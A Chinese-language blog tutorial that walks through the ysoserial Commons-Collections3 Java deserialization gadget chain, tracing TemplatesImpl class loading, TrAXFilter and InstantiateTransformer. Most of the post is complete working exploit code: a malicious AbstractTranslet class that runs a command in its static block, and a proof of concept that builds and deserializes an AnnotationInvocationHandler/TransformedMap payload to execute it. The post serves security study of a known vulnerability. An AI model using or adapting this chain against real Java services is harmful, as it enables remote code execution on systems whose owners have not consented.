ysoserial之Commons-Collections3链
在cc1
链中重点是用Runtime.exec
实现命令执行的,而在cc3
中则是换了一种方法,用到的是动态类加载实现任意代码执行。相当于扩展了利用的范围,多了一种利用的方法。具体的类加载的学习可以看这个视频:https://www.bilibili.com/video/BV16h411z7o9?p=4
测试环境:
jdk1.7.0_80
commons-collections-3.2.1
cc3链分析:
在利用的时候我们需要找到重写了类加载的方法defineClass
,在ClassLoader
中实现了4中defineClass
方法。因此我们找其它可利用的类中重写了这里面的某一种。
因此通过Alt+F7查找到了下面这个类中重写了:包com.sun.org.apache.xalan.internal.xsltc.trax
中的TemplatesImpl
类中实现了。这是在静态的内部类中实现的,并且是默认的声明,所以在这个类中的其它地方会调用这个方法。找一下
也就找到了defineTransletClasses
方法,不过是私有的,内部会调用,接着找。并且在这里可以看到通过for
循环,依次加载_bytecodes
中的内容,然后赋值给Class数组_class
有三处调用了defineTransletClasses
方法。
然后就看哪一个可以利用了,前两个都没有地方调用了,最后一个getTransletInstance
,可以看到将字节码加载进来之后,会执行_class[_transletIndex].newInstance
,这里就会实例化类,执行任意代码了。因此接着找哪里调用了getTransletInstance
方法
因此找到了newTransformer
,并且这个方法还是共有的。到此利用的链就找到了。先写代码实现一下
现在来写一下怎么通过这个类的newTransformer
执行任意代码,对成员变量如何赋值才能走到newInstance
首先在getTransletInstance
方法中_name
要赋值,_class
要为空
然后在defineTransletClasses
方法中_bytecodes
为我们传入的字节码,也就是class
文件。这里的_tfactory
需要调用方法,也要赋值。
在往后如果走if
则else
中的_auxClasses
不用赋值,但是在后面的if
会判断_transletIndex < 0
,因此能在前面的if
里面通过_transletIndex = i;
赋值,所以_auxClasses
就不用赋值了。这里的if
是判断传入的字节码的父类要是ABSTRACT_TRANSLET
,也就是需要继承这个包com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
实现代码如下:
//YsoserialCC3
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class YsoserialCC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "1");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//private byte[][] _bytecodes = null;
byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
//private transient TransformerFactoryImpl _tfactory = null;
//由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
//Test.java
//将编译生成的Test.class放入F://code//Test.class
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
可以看到成功执行了。
现在就是如何去利用这个方法了newTransformer
,这里就可以直接利用cc1
链中的InvokerTransform.transformer
反射调用这个方法。
最终的POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class YsoserialCC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "1");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//private byte[][] _bytecodes = null;
byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
//private transient TransformerFactoryImpl _tfactory = null;
//由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);;
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, traTransformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
}
这条链是利用了cc1
链中的代码,现在再来看一下ysoserial
中的链,可以看到用的是InstantiateTransformer
这个类
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
现在分析一下ysoserial
中的链,上面的就分析到了newTransformer
,那么我们在接着找哪里调用了newTransformer
可以看到在TrAXFilter
的构造函数中调用的newTransformer
,并且templates
可控。只是这个类没有继承序列化的接口,所以只能从它的class
入手。与Runtime
类似
在ysoserial
的cc3中作者使用的InstantiateTransformer
来替代InvokerTransformer
。看一下这个类的作用,通过Transformer
中的反射创建新的实例
所以我们可以利用这个类中的transform
来实例化TrAXFilter
从而达到调用newTransformer
的目的
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
看一下这个类的构造函数,参数和对象可控
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
现在试试通过这个的transform
执行代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class YsoserialCC3 {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "1");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//private byte[][] _bytecodes = null;
byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
//private transient TransformerFactoryImpl _tfactory = null;
//由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//通过instantiateTransformer的transform来实例化TrAXFilter,从而执行templates.newTransformer()
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}
可以看到这里也用到了transform
,所以我们将ChainedTransformer
利用起来,就得到了ysoserial
中的CC3链
Comments | NOTHING